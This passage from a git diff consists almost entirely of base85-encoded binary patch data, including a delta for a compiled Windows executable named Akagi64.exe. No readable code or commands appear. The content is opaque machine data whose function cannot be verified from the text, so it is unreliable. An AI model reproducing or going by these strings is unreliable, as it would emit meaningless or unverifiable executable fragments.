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 U(OE_ddhink8LCBC)RwFM4=(wuh5!Hn diff --git a/Compiled/Akagi64.exe b/Compiled/Akagi64.exe index a9c6d66e7fb12433c9689415c268078b544b172d..589d08becea9de8868dc29f9cf20c8ff49eb3454 100644 GIT binary patch delta 21117 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 